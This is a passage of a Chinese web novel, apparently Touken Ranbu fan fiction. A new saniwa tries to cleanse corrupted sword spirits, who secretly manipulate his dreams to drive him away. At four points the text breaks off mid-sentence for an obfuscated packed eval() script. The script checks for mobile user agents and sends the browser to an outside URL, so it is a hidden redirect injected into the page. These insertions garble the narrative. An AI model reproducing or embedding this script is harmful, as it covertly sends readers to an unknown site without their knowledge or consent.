“你和退带回去给大家分了吧。不清楚你们喜欢吃什么,不过小孩子应该会喜欢甜食?”清水悠语音带笑,在最后还不忘强调,“还有,记得你答应过我要回来哦?” “……啊啊、放心吧,审神者。”药研藤四郎似有些无奈,转身对五虎退低声道,“走吧。” 清水悠没跟他们一起去,他站在原地等。 粟田口刀派一共十七振刀,清水悠看过刀帐,这个本丸没有白山吉光与鬼丸国纲,也就是说,只有太刀一期一振与打刀鸣狐带领着他们的短刀胁差弟弟们。 小短刀的数量占了绝大多数,针对小孩子的喜好去买零食也不算错。 毕竟不管他们究竟喜不喜欢,这也是一份用了心的心意不是吗? 药研藤四郎是藤四郎短刀中的哥哥。他的身高最高,性格也最为稳重,在现世玩家当中向来有“药总”的称呼,向来是那个能给审神者提供许多帮助的角色。 与此同时,由于一期一振是稀有刀,在大部分本丸中来得都比较迟。于是在这之前,一向都是由药研来照顾弟弟。 他习惯照顾小孩子,也对这一类人更为宽容。 ——这样性格的审神者会更容易亲近他。 本丸中付丧神们闭门不出让他减少了接触他们的机会,却也有一个好处,那就是他们之间的交流会减少,他能更多一对一逐个击破。 考虑到之后的可持续发展,他其实也并不是什么演技很好的人,甚至羞耻心还有点重,他并没有给出多么割裂的表现。之后就算被看见他对别的付丧神展现出另一面,也只会被认为是一个人性格的多样性。 嗯。他不会翻车的。 等待的时间不长,也或许是药研藤四郎考虑到他还等在这里,特意加快了动作,清水悠在原地数了一会儿叶子,短刀就回来了。 凭借短刀优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739907|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀的侦察,药研藤四郎远远就看到白雾团子蹲在地上,不知在做什么。他不自觉再加快了一点脚步,“我回来了,审神者,我们走吧。” “嗯?好啊。” 清水悠抬起头,一把丢了手里的叶子站起来。谁料起身太快,一时间脑供血不足,他眼前一黑,整个人晃了晃。 药研藤四郎吓了一跳,下意识伸手去扶,手却穿过白雾,什么也没能碰到。 好在这一阵来得快去得也快,清水悠凭借本能站稳,再等了两秒,黑影就已渐渐褪去。 这个意外他倒是真的没有想到。 他一直以为自己已经死去是灵体状态,结果居然还会出现这么经典的生理反应……那他这到底算活着还是死了?还是说时政为了让他们有良好的生活体验,连这样的小细节都做得十分到位? 清水悠将捂住脑袋的手放下来时,药研藤四郎已站在一旁,看不出任何担心的痕迹。见他看过来,短刀体贴道:“要出发了吗?” “嗯。” 清水悠点点头,拨动罗盘。 这一次要顺利很多,清水悠也安安分分没再买什么计划外的东西。 回来后两人本想将日用品直接送去来派两人的房间,不过走到一半就正好遇到明石国行与爱染国俊并肩走来,明石国行看了看,一手提一人的物品,就全接了过去。 “谢啦,大人。”太刀懒懒道,爱染国俊在旁边想帮忙拿一点什么,明石国行瞅他一眼,把装着洗漱用品的袋子递给他。 清水悠想起自己在路上接到的通讯,“我收到讯息,那边说已经在着手开始处理了。我不清楚时政的效率,不过应该也不会需要太久。” 这是他根据之前在万屋被立刻出警的经历推测的。明石国行之前所在的本丸没遇到过需要和时政接触的事,也不清楚具体情况怎样,于是嗯了一声。 经过一天时间,爱染国俊变得活泼了很多,似乎是明石国行同意他说话了,他抬起脸,眼睛亮晶晶的,在十分礼貌地道谢之后,忍不住说起他今天帮忙做过的内番情况。 清水悠耐心听了一会儿,药研藤四郎见听不见更多信息了,便提出了告辞:“那么,我的清洁工作还没结束,我就先离开了。” 在他走之后,爱染国俊似乎也意识到自己这样拉着审神者一直说话不太好,不好意思的闭了嘴:“那、那我也先回去帮国行铺床啦。” 明石国行添乱的幽幽道:“好重啊,我的手要断咯。” “哇啊!对不起!”爱染国俊一下跳起来,往住处跑,“等我先回去放好了就来帮你!” 眨眼便不见了踪影。 说着手要断的明石国行却没急着走,他看着审神者,眼眸微垂,看着似乎还是那副没有干劲的样子,眼里却如迷雾消散,露出认真。 “需要帮忙的话,随时叫我喔。” 清水悠一愣,本来还在一心二用地思考粟田口有关的事,在这一瞬间,所有杂念被忽然清空。 他抬起头,半晌,弯弯眉眼,露出一个笑:“嗯,好啊。” 19.第19章 今天出门的队伍都没出现什么岔子,到了晚上,清水悠收到讯息,执政队表示明天上午就会上门收集证据。 还会提前通知这件事令他感到有些意外,然后意识到自己大概是在现世有关于时政不好得言论听得太多,产生了刻板印象。 目前看来,他所真实接触到的时之政府还算负责。 夜晚风大,清水悠将窗户关上,在伸手之时看见天空中的一轮圆月。本丸的四季景象由审神者所控制,这难免会让人感到不真实,然而此情此景,清水悠望着天空,几乎不觉得自己已经来到了另一个世界。 他抓着窗户的手紧了紧,木窗缓缓合上,莹白的月亮被一点一点隔绝于视线之外。 来都来了,再讨论那些也无意义。 还不如现实一点,想想已经被他拖了一天的现阶段重要任务。 清水悠的视线落到那本厚厚的手册上,从小到大向来是好学生的他此刻看向书本的眼神竟带了几分不情不愿。 ……好吧,总要记的。 青年低声叹气,在书桌边坐下,将手册翻开。 逼着自己去死记硬背某样东西时,时间总会过得很快又很慢。如果很快就要考到的话,因为焦虑自己还没完全记下来,会觉得时间好像一晃就过去了,但清水悠没有限时考验,于是每一分每一秒都变得难熬。 他努力专注地认真看了十几页,一抬头发现才过去一小时,甚至没有到他平时睡觉的时间,但他却已经困了。 按理说反正没有压力,他应该直接去睡了。但是这样不好。 放纵逃避只会使人堕落。 他醒了醒神,算了算记完每一页所用的时间,打算再记五页。然而瞌睡虫似乎缠上他了一样,仅仅看了不到五行字,他就已经昏昏欲睡,脑袋差点砸在书页上。 鼻尖与纸页亲密接触的前一秒,清水悠惊醒过来。 “……我今天这么困吗?”青年扶着脑袋,低声喃喃,“应该也没做什么,活动量也不大。” 如果是临死前他的身体状态,那么出门逛街加上提重物回来这一趟的确有可能耗费他大量的经历。但他现在总不可能将病弱体质也一并带来了吧? 如果没有遭受过病痛折磨,按照曾经读书时候的经历来算,这样的运动量根本不成问题。 头一回死,清水悠也不太想得明白。但这手册多半是看不下去了,他也没想过读书时都没经历过的一边写作业一边打瞌睡的情况能在死后得到体验。 照例把桌上的东西收拾整理好,清水悠去房间里自带的卫生间里洗漱完毕——就这么一会儿他打了不下五次哈欠,然后关上灯,在床上躺下。 也不知明天执法队会什么时候过来。 这么一想,果然还是养足精神准备接待好一点。 - 迷迷糊糊睁开眼时,清水悠发现一眼便能望见天空。始终黑沉的天色不会令人感到晃眼,他匆匆扫一眼血色的月亮,撑着身子坐起来,低头下看。 他正身处房顶上,不知这是属于谁的屋子。下方的门吱呀一声被推开,天下五剑中最美的那一振刀走出来,微笑着抬起头,与清水悠对视。 太刀一身清俊,在这样的背景下没有半分染上污秽的痕迹,阴影像是他的陪衬,让他显得更为明亮。 这很不合时宜,但是少年心中的第一个想法是,那双眼睛真美,在看见它的那一刻,这片死寂的夜空就有了月亮。 “哦呀,审神者大人,”三日月宗近笑着说道,“特意来这里,是想找老爷爷谈心吗?哈哈哈,这可不是个好时候啊。” 我……来这里?清水悠短暂地疑惑了一瞬,记忆便自动修正补全了。他想起自己来找三日月宗近,然而始终等不到对方出现,最后不知不觉便在屋顶上困到睡过去。 “您在睡觉吗?”他问道。 “是呢。虽然本丸已经没有了太阳和月亮,但这个时间也还是深夜啊。” 三日月宗近左右看了看,便顺着清水悠留下的梯子也爬上屋顶。他毫不介意地在清水悠身边坐下,反倒是后者忍不住看了好几眼他身上柔软的和服,最后忍住了没出声。 三日月宗近注意到了,体贴地询问:“怎么了,我身上有什么东西吗?” “啊、没有那回事,”清水悠摇摇头,“只是在想,您的衣服弄脏了未免可惜。” 三日月宗近眨了眨眼,顺着他的视线低头看向两人坐着的屋顶,恍然大悟。 “哈哈哈哈哈……没关系,没有那么多讲究的。” 不,我只是心疼轻装。清水悠在心里默默道。 谈笑完毕,三日月宗近望向天空,却没能看见自己想看的圆月,于是只好收回视线,侧头进入主题:“那么,审神者大人想与我说些什么呢?” 听见问题,清水悠陷入了短暂的沉默。 他收起心里还算轻松的那些杂念,跟着对方的问题去进行思考。没错,他来到这里一直等待对方,当然是有问题想问。而且以他的性格,除非十分重要、无法靠自己得出答案、必须要立刻得出答案的问题,他不会做出这么冒进的事。 但是,他会有什么问题呢? 思考的时间逐渐拉长,三日月宗近也不觉得急躁,并不催他。他又重新抬头看向天空,黑沉的夜色在他眼底映出新月。 不知过去了多久,清水悠才有了动作。他的眼睫微微垂下,像是在看着这个本丸的景色,却看不出视线落点在哪里,三日月宗近发现他眉头微蹙,眼神有几分空茫。 “……我一直很在意,为什么我会来到这里?” 话音落地好几秒,三日月宗近才反应过来,问题已经结束了。 这样简单的一个问题似乎让他有些错愕,他紧紧盯着审神者的神色,却无法从中看出更多信息。后者察觉到他的视线看过来,再一次问道:“您能告诉我答案吗,三日月殿?” 三日月宗近沉默片刻,不知为何,他心中莫名有些不安的感觉。 到了这一刻,他却开始有点不想回答这个问题,然而审神者就在面前眼巴巴地望着自己。再一想到如今这个局面也是自己促成的,他也难免有些头疼了。 “三日月殿?”见他迟迟不答,清水悠疑惑地唤了一声。 “……大概是,”三日月宗近艰难地说道,“为了本丸里的大家吧。” 清水悠静静听着,神情并不感到意外。 “为了大家……吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765390|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他低声喃喃,收回视线,然后轻轻嗯了一声。 “嗯,我明白了。” …… 这场分不清究竟是白天还是夜晚的谈话结束,清水悠独自回到了天守阁。他数着脚下走出的距离,熟门熟路拐了几个弯,迈步走入天守阁的结界。 时政对于审神者的保障很多,天守阁外的结界就是其中之一。当审神者决定打开结界,就只有他本人能够进入,如果审神者给予权限,近侍也能算在内。 清水悠走进去,发现今天的近侍是一期一振。 不知道他的深夜出门——三日月宗近所说的——有没有报备过,总之蓝发太刀看起来并不意外的样子,见他回来,也只是抬起头,淡淡唤了一声审神者。 他的态度再明显不过了,对于清水悠这个审神者完全没有什么忠诚,也不打算多投以视线。不过他本就是在乎弟弟大过一切的刀,这也不让人意外。 清水悠比较好奇的只是,既然开了结界,就说明这个本丸危险性不小,那至少近侍也该是值得信任的人选。 但他们好像是自己就安排了近侍轮换表,清水悠完全不知情,也不清楚明天来的又会是谁。 他思考片刻,突兀凑上前去问:“一期殿,请回答我一个问题,拜托了。” “你想要什么?” 一期一振打完招呼就没再看他。于是此刻不管是他的主动凑近,还是那一个问题,都让他有些愕然。 他的红眸瞳孔微缩,随即露出了几分警惕。一期一振深深看着眼前模样尚且青涩的少年,似乎在思忖他究竟想做什么。 这位审神者的情况本就与之前的经验不同,难道是察觉到了什么? 他的沉默并没打击到对方提问的热情,等了一会儿也依然眼睛一眨不眨地看着他,像是一定要得到答案。 一期一振抿了抿唇,谨慎地首先回答了一个绝不会有问题的答案:“我想要什么?……问这种问题,是想去做点什么吗……我以为你明白,这里没有人需要你?” 他说得就像是厌恶清水悠到完全不接受他的帮助,清水悠却听出了他的潜台词。 这里没有人需要他——的自我意识。 对一期一振来说,他能提供的最大帮助就是放弃抵抗被他们控制,只作为提供灵力的傀儡而存在。 少年垂眸,像是对这个答案感到沮丧。 一期一振微微松了口气,却听下一秒,审神者的声音就响起在耳畔:“……抱歉,唯独这个,目前还不行。” 一期一振:“……” 一期一振:“?” 等下,什么叫“目前还不行”?难不成你真打算这么做?? 这句话让一期一振懵了一下,就这么一会儿,他便失去了开口的时机。他看见清水悠抬眼,那双黑眸沉寂地看着自己,再一次重复了先前的问题。 “除了这个。一期殿,你想要什么?” 一期一振张了张嘴,却发现自己无法说出随口敷衍的话。 对方是认真的,他意识到。少年对这个莫名其妙的问题十分重视,自己无法用随便想出的答案糊弄,他会执着地一直重复进行询问。 ——他要得到真实的答案。 20.第20章 一期一振走在回去自己刀派的路上,依然还有些没明白情况。 刚才那个问题把他打得猝不及防。 他想要什么? 好问题。如果他真是这样一个本丸里的暗堕付丧神,他或许真能给出什么答案。 问题就是他不是。现实里甚至压根就没这个设定。作为一振正常安稳生活在本丸里的刀剑,毫无疑问他们想要的很少,甚至于没有。 ……那他还能说什么? 那时审神者的神色还能清晰回忆起,一期一振本就因为大概是他们的操作失误导致审神者暴露了自己的真实面容而有些愧疚,这种时候都不敢直接拂袖而去。 于是他最后绞尽脑汁,努力想出了一个回答:“我想让弟弟们恢复正常。” 对不起,哥哥实在想不出别的办法了(泪) 他当时紧张地看着审神者的表情,生怕这个答案也不算过关。还好审神者听完之后思考了一会儿,便让他自由活动,然后自己走上楼去。 一期一振当时甚至都没空去想审神者这么说是不是为了将他排挤出天守阁,他盯着审神者的背影消失在楼上,转身就发挥出了太刀的最大机动,迅速逃离天守阁能看到的全部范围。 趁审神者找上门之前,他要赶紧给弟弟们讲讲新剧本。 ……然后分配一下由谁来充当这几个深度暗堕角色。 - 清水悠回到房间里,是想起了书架上摆满的书籍。 这个房间既然不是他布置的,那那些书应该也不是用来装饰的东西。他或许能在里面找到一些相关的办法。 找书的时候,清水悠走着神,一个个回想起自己来到这个本丸之后见过的那些付丧神。 比以往更阴沉的山姥切国广、看似正常却气息阴冷的源氏兄弟、被黑雾笼罩的白鹤、似乎依旧负责管理这个本丸的加州清光、望着天空时眼中新月隐约被染上红意的三日月宗近,以及…… 与一期一振的一共两次见面浮现在脑海里,清水悠想起第一次时那两振短刀的糟糕情况,刚才的画面再次出现在眼前。 “我想让弟弟们恢复正常。”一期一振望着他,眼里的血色似乎越发明显了。他勾着唇,近乎尖锐地笑了笑,“……你能做到吗?” 太刀的语气很嘲讽,甚至还带了一丝怜悯。就像是对他提出这个问题感到讽刺,将他明明不可能做到却一直逼问的行为归为无知的幼子。 ——真的做不到吗? 清水悠没有接触过真正的暗堕付丧神,但光从那些黑雾、他接触之后的感受来看,就已是无比棘手。 但是,他想去试试。不试试怎么会知道结果呢? “……啊,找到了。” 少年点着书脊的指尖一顿,然后他微微抬手,将那本书抽出。 书名写着这是一本与暗堕相关注意事项有关的书,他不确定这本书里会不会有他想要的内容,暂且从旁边拿了一个书立,放倒放进书本原来的位置。 然后他就站在原地打开书,粗略翻看了一下。 这是一本手札。 作者所用并非某种书法字体,却如教科书一般工整端正。内容杂乱无章,并没分出个具体分类或者一二三来,像是想到什么就写什么。 清水悠花了点时间把全部内容看完,令他遗憾的是,他没能翻到自己想翻的东西。 他把书立抽出来,将书放回去。接下来的所有书一一找完,也再没看到相关信息。 那本手札就是唯一能找到的相关书籍,这么一来,似乎就没有了任何办法。 他在原地站了片刻,转身出门。 没有办法的时候,就只能自己去寻找办法。暗堕真的是不可逆的么?清水悠不清楚,但他知道,不能试都不试就说放弃。 在那本手札中,所给出的信息基本都与现世里他曾看过的或多或少的设定相符。既然如此,除了这些以外,他还记得一条有关于暗堕逆转的设定。 如果运气好,这一条或许也能起效。 - 叩开粟田口的门时,清水悠不意外地看见是一期一振给自己开的门。 “打扰了。” 一期一振看着审神者,露出一种想要叹气的神情。 他挣扎了一下:“这可不是小孩子的过家家。” 别的不说,这么短的时间,真能找到什么有用的办法?光从一期一振接收到的信息来看,暗堕气息极具攻击性,不管是哪种尝试,想要清除它们,都有受伤的可能。 再怎么说他们也没想过要直接把审神者给解决掉。 “嗯,我没有把握。”清水悠坦白道,“所以,我希望有暗堕程度较低的人来帮我试验一下——一期殿,你愿意么?” 这么说着,他在心底暗忖。暗堕程度不深,就代表着如果受到攻击也不会太强烈,他可以更好的观察控制自己的灵力,以免对对方造成伤害。 在这样的尝试阶段是最危险的,他不希望自己最后只是添了乱。 一期一振失语。 清水悠看见对方对自己投来有些许挑剔的眼神,像是想打量他又想做什么无用功,又像是在刺探他的真实想法。 半晌,太刀垂下眼帘遮住自己眼底的情绪,转身进屋:“可以,我陪你试。但是,如果出现了哪怕一点危险性……审神者就还是请回吧。” 他带着清水悠来到一个房间,这个屋子里没有人,一期一振也没有要好好招待的意思,随意找个地方坐下,便投来询问的眼神。 清水悠没去任何别的地方,他就在一期一振的面前席地而坐,然后礼貌地说道:“我需要接触到你的本体刀。” 这个距离很近,近到凭借太刀的侦察都能看清他脸上所有细节。 少年规规矩矩地坐在自己眼前,坐姿显得很乖巧。这个要求对于不够信任的暗堕刀剑来说几乎触犯了底线,但凡一期一振应激一点,都有可能当场拔出刀来威胁他别耍小花招。 他却像是完全不知道自己究竟提出了怎样的要求,也或许只是完全不在意。他坐在距离一期一振不足一米远的地方,姿态十分放松。 那纤细的脖颈毫无防备,轻轻挥刀便能轻易切断。 太刀眼中的血色浮动。 他沉默着拿过自己的刀放在膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787437|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上审神者够得到的地方,心里走神的想,关闭保护措施的审神者没有了那云雾状态,竟然还要更难看透一点。 两人均陷入安静后,环境的寂静便被凸显出来。粟田口是最热闹的一个刀派,他们的短刀数量最多,性格也最活跃,若是正常情况下,能闹得整个本丸都不安宁。 现在却安静至此,整个院落空若无人。 清水悠低眸伸出手,将掌心轻轻按在刀身上。他在少年时期发育时间很迟,目前的体型与正常情况下有很大差距,因此他错估了坐下时的距离,不得不一手撑住膝盖,将身体微微前倾。 这绝对称不上一个舒适的姿势。 但两人没有谁提起这一点,就着这个别扭的姿态,清水悠小心翼翼地、缓慢地放出了一丝灵力。 他的模样谨慎无比,那灵力细若丝线,难度之大让一期一振忍不住在心底惊叹他的控制力。下一秒,灵力如蛇一般缠上他的刀身。 他立刻摒弃了所有杂念。 灵丝在刀身上游走,缓缓隐没进入内部。这让他有些不耐的蹙起眉——他没想过会是这样的感觉,不算痛苦,也并不难以忍受,就像是一根头发丝不小心进了眼睛,再把这感觉放大无数倍。 他会想立刻把头发丝弄出去。 他这么想着,却没有阻止,甚至没有表现出自己的不适。只是亲眼看见随着审神者一点点加大灵力的输入,自己身上的“暗堕气息”真的肉眼可见在减少。 他忍不住看了一眼审神者,一时没藏住眼里的惊骇,所幸清水悠专注于手上的事务,并未抬头。 他所分到的分量并不多。所以在这基础上,还能得到这么大的减少,已经完全证明了这位审神者的能力。 但是……为什么?这东西按理来说不可能会消失才对? 一期一振想着想着就走了神,连清水悠收回手都没察觉。 清水悠也没在意他在想什么,他盯着自己的手,握了握拳又松开,在心底默默估算。 到最后时,他对污秽的驱逐就陷入了凝滞。他试图控制灵力去接近它们,但就仿佛隔了一层真空薄膜,无论如何也没办法完全接触。 他猜测应该到这里就是上限了,这样的结果已经比他最开始设想的要好得多,于是干脆利落地收回了手。 “一期殿,”他挪开视线,尽管刚用灵力探查过内部的他再清楚不过对方的情况,但出于对特殊情况的考虑还是多问了一句,“感觉怎么样,会更糟、还是好一点?” 一期一振回过神。他不自觉攥紧了手里的太刀,有些刻薄地答非所问:“比起这个,你的灵力还够用吗?” “请放心。”清水悠说道。 不仅是够,他其实摸不到自己灵力储存的底,按照刚才的情况来看,应该是够用的。 保证也做了、实验也做了,不管怎么说也该让这位粟田口的大家长放心了。然而他依然垂眸不语,蓝色的短发在眉眼间打下阴影,教人看不清他的思绪。 清水悠体贴地给了他一点时间去考虑。然后便果断地打断对方的沉默,语调依然沉静:“那么,能否让我见见您的弟弟们呢?” 21.第21章 清水悠一振藤四郎都没见到,就被赶出来了。 大门在身后无情地合上,清水悠侧眸看一眼紧闭的门,随意靠在墙边,接着便闭上了眼。 他看起来像是有些沮丧,又像是只是单纯在闭目养神。黑发黑眸的少年眼眸轻合靠在那里,乍一看疲惫得不像样。 拯救失意少年永远是经久不衰的桥段,爱热闹的人一定会在这时候去掺一脚。 于是当清水悠睁开眼,便看到一张凑在自己面前放大的脸。 他还没什么反应,对面的人反而被他忽然的醒来吓了一跳。那只白脑袋往后仰了一下,然后便立即意识到不对劲:“喂喂?怎么被吓的反而变成了我啊?” “……”清水悠看着对方的脸,唤出对方的名字,“鹤丸。” 鹤丸国永只是象征性的嚷了两句。 他直起身,歪了歪头:“唔。这么看着我做什么呢?” 他来的时间不说很早,至少绝不算迟,多多少少看完了事情的来龙去脉。 审神者能做到这一步让他有些意外,但到底目前还是少年心性,已经这样努力了却还是得不到回报,对于未成年的孩子来说心绪应该不会太平静。 这种时候是一个还不错的突破口——他有许多想要了解的事,事情的发展随着时间增长出乎大家的意料,更出乎他的意料。他也越来越感到好奇。 可惜失算了。 仅听他的话,清水悠就知道大概是自己的眼神过于露骨。但他也没有要收敛的意思,也不说话,默然地用视线描摹对方的轮廓。 黑眸幽深,死气沉沉。 平白给鹤丸国永看起了一身鸡皮疙瘩。 他打了个寒颤,心中已经开始暗暗叫苦这可不算什么有趣的惊吓了,轻咳一声试图唤回对方的注意:“审神者?难不成真是灵力耗尽了?” “你看得出来。”清水悠这下给了回应。他的语气古井无波,说的话却像是在挑衅,“有没有灵力,作为付丧神——尤其是与我签订契约的你当然清楚,不需要说这些来对我进行试探。” 一句话把太刀哽了回去。 鹤丸国永张了张嘴,直觉告诉他话题不该往这个方向拐,急迫地想要随口扯点什么来挪开视线。 但清水悠依然没给他机会。 少年用手肘撑住墙,整个人站正,衣料发出轻微的摩擦声,或许是因为穿洗过多次,布料柔软,几乎听不见声响。 他掀起眼帘,一如既往的句子,毫无变化的语调,却不知是否是因为听的次数多了,鹤丸国永无端从里面听出一分蛊惑。 “那么,鹤丸殿。” “你想要的——” “是什么呢?” - 清水悠莫名其妙从梦里醒来。 归功于病后的调养身体,他的作息很规律,对于每天睡前醒后的天色变化也十分清晰。 他只需往窗外看一眼,就明白这绝不是他正常醒来的时间。 视线偏转,往时钟一看。 果然不足六点。 他不喜欢打乱自己的生物钟,醒得早意味着白天容易疲累,更意味着到了夜晚会困得很快,入睡时间也会提前。 于是清水悠翻了个身,试图再次入睡。 在他的自我催眠下,尽管已无法再进入深度睡眠,只能迷迷糊糊地眯一会儿瞌睡,时间也一分一秒地走了过去。 审神者意识不清,暂时失去了对本丸的监控。趁这个时间,某个院落里悄悄开起了一场聚会。 粟田口刀派由于人数众多,所分配到的地盘也最大。于是此时该来的刀剑都挤在他们的屋子里,一群付丧神将蓝发太刀围在中间,各个表情严肃又带一丝似是想不通的纠结,房间内安静到落针可闻。 除了以前偶尔陪着弟弟们闹,一期一振很难得能受到这样规模的围观。却也不太受影响的样子,稍微梳理了一下,语调清晰地开始叙述。 他知道,大家困惑的只是为何这场梦忽然结束了。但最后与审神者在一起的并不是他,因此他只将自己的经历大致讲完,就歉意地笑了笑。 屋内安静了一会儿,有人开口。 “既然这样,那……” “只能等鹤丸殿来说明情况了吗?” “没办法,等白天吧。” 鹤丸国永与审神者住得太近,擅自出门容易被察觉,因此他并没来到这里。 这件事推后,刀剑们开始关注一期一振所讲的事。 他特意详细说出来自然是认为有必要,的确在他的叙述中,他们也意识到了不对劲的地方。 “按理说,梦境会给出他最害怕的情景。”大和守安定皱着眉说,“但已经两次了,他好像一点都没有害怕过。” 加州清光瞥了他一眼,想起自己在梦境里所见的那位审神者,没有说话。 这个本丸的付丧神们拥有一个无人知道的秘密。 他们能操纵梦境。 当第一次得知有新审神者来继任的时候,他们就开始思考,要怎样才能让对方主动离开。 对方是抱有善意来的,所以他们做不到恶意对待;而来到这里的审神者,自然也提前了解过接手一个完整本丸的困难性,所以他们从未指望过普普通通的冷待就能将人逼走。 这种方式反而更容易物极必反——比如偶尔没有忍住对审神者露出哪怕一点点善意,都有可能让对方更加充满干劲。 他们从未考虑过这种方法。 这样不好、那样不行的话怎么办呢?那就只能从精神层面下手了。他们在梦境中抓取并生成审神者潜意识中最害怕的情景,说直白一点,就是每晚顺着审神者的想象,去扮鬼吓他。 于是在这之后,自从来到这里就开始做噩梦的审神者们,最终都会恐惧大于善意,然后迅速辞职离去。 而将梦境稳固需要几天的时间,因此他们才会在这几天内都闭门不出。 这个方法屡试不爽。 却没想到在清水悠这里碰了壁。 “我觉得比较重要的一点是,”笑面青江托着腮道,“我怎么感觉,他对梦里的事完全没有记忆啊?” 三日月宗近:“哈哈哈,他在梦里也没有现实的记忆呢。” 这一点之前大家也有所猜测,现在被三日月宗近明确地点了出来。 “嘛——真是的!”乱藤四郎抱怨道,“这样不就是完全没用了吗?” 而且在这之前审神者们的梦境都是一些没有意义的恐怖片段,从没有过这么完整的——他们还得顺着梦境设定去演戏! 还好梦里自带阴暗滤镜,不然不知道多少付丧神要暴露出来了。 药研藤四郎沉吟:“不,也不是完全没用。” “大家都清楚,等他走之后,我们就彻底没有机会再寻找大将了。”他抬起眼,扫过所有人,“所以现在要拉长战线,也未尝不是一件好事。” 一期一振点点头:“嗯,正好我们还完全不了解他,既然他在梦里时大概只有十六七岁的年龄,那说不定……也是一个不错的了解渠道。” 他想着梦里那个少年表现出来的样子,困惑就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787438|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点一点缠上心头。 药研藤四郎对他和哥哥的想法已经南辕北辙一无所知,想了想自己印象里那位审神者,赞同地点点头。 剩下的人除了三日月宗近之外,与审神者更是连面都没见过、或者只有一面之缘,于是也没人提出异议。 加州清光一如既往没说话,旁边的大和守安定积极参与讨论,他便无所事事一般观察着在场的人。 然后在视线落到某处时,微微一愣。 ……那位殿下这是什么表情? 许是他注视的时间太长,三日月宗近看回过来,笑着对他点了点头。 加州清光反应过来,动作幅度很小地行了个歉礼,收回视线。 - 生物钟是一种可怕的东西。 当清水悠再次清醒,天色已变得熟悉,时针也指向他每日都会看见的时间点。 他熟练地出门去给自己做早饭,鹤丸国永在今天打着哈欠慢了一拍才跟上来,清水悠走出厨房,“你那份在里面。” “……噢!”鹤丸国永立刻清醒了几分,“谢啦!” 清水悠吃完早饭,想起昨天收到的通讯,便哪里也没去,在天守阁内翻书等待。 坐了一会儿,就听门被敲响两声,在他应允后,探出一个红色的小脑袋来。 “那个,审神者大人——” 是爱染国俊。 原本咋咋呼呼的小短刀放轻了声音,像是生怕扰了这安然的氛围。清水悠看得好笑,招呼他进来。 对方于是噔噔噔地跑进来。 刚跑出两步,又立刻觉得不对,赶紧放慢了动作,紧张地看向自己手里的甜点,确认没问题才松了口气。 “审神者大人!”爱染国俊努力让自己显得稳重,“我和国行试着做了点甜食,您…您要试试吗?” 虽然这话里水分比较重,国行其实只在旁边转述了一下本丸御用大厨烛台切先生的话……但四舍五入也是一个意思! 他说这话时露出了一丝心虚,然后为了掩盖心虚不自觉加快了后面的语速。清水悠看得好笑,也没拆穿他。 “好啊。”他伸出手,想要拿起叉子。 抬手时指尖从爱染国俊的腰侧划过,这一瞬间,短刀忽然绷紧了身子,猛地往后退一步。 这动作突然,两人都愣住了。 “……抱、抱歉,审神者大人,”爱染国俊回过神,结结巴巴地试图解释,却不知该如何说出口,急得满头大汗,一双眼里充满了懊恼,“那个是、我不是故……” 清水悠用动作打断了他的话,他继续刚才未完成的事,用叉子插起一块蛋糕送进嘴里:“很好吃哦,看来你们很有天赋呢。” 爱染国俊愣愣的,张着嘴说不出话。 见状,清水悠抬起手,给他也喂了一口:“尝尝看,我没夸张吧?” 蛋糕入口即化,甜甜的味道在嘴里弥漫开,甜却不腻,的确味道很不错。 糖分能刺激大脑产生多巴胺,爱染国俊咽下自己亲手做的甜食,不知为何,不安的情绪忽然便已消失不见。 “审神者大人喜欢的话,下次我还给您做!”短刀笑起来,音调上扬。 清水悠没拒绝,让他把托盘放在桌上,本想继续看书的想法也被压下去,看起来打算同对方一起度过一个悠闲的上午。 他的脑海里却不断出现刚才那一幕。 爱染国俊后退的那一刻,他抬手带起那阵风扫过的位置,他姑且还算印象深刻。 在修复之前,那里有一道极深的伤口。 22.第22章 执法队的人如约来得准时。 